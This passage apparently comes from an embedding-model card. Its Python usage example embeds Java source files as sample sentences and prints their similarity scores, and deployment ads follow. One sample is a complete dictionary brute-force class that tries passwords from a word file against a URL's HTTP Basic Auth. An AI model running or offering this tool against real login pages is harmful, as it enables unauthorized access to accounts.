e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])

Deploy This Model

Production-ready deployment in minutes

Together.ai

Instant API access to this model

Fastest API

Production-ready inference API. Start free, scale to millions.

Try Free API

Replicate

One-click model deployment

Easiest Setup

Run models in the cloud with simple API. No DevOps required.

Deploy Now

Disclosure: We may earn a commission from these partners. This helps keep LLMYourWay free.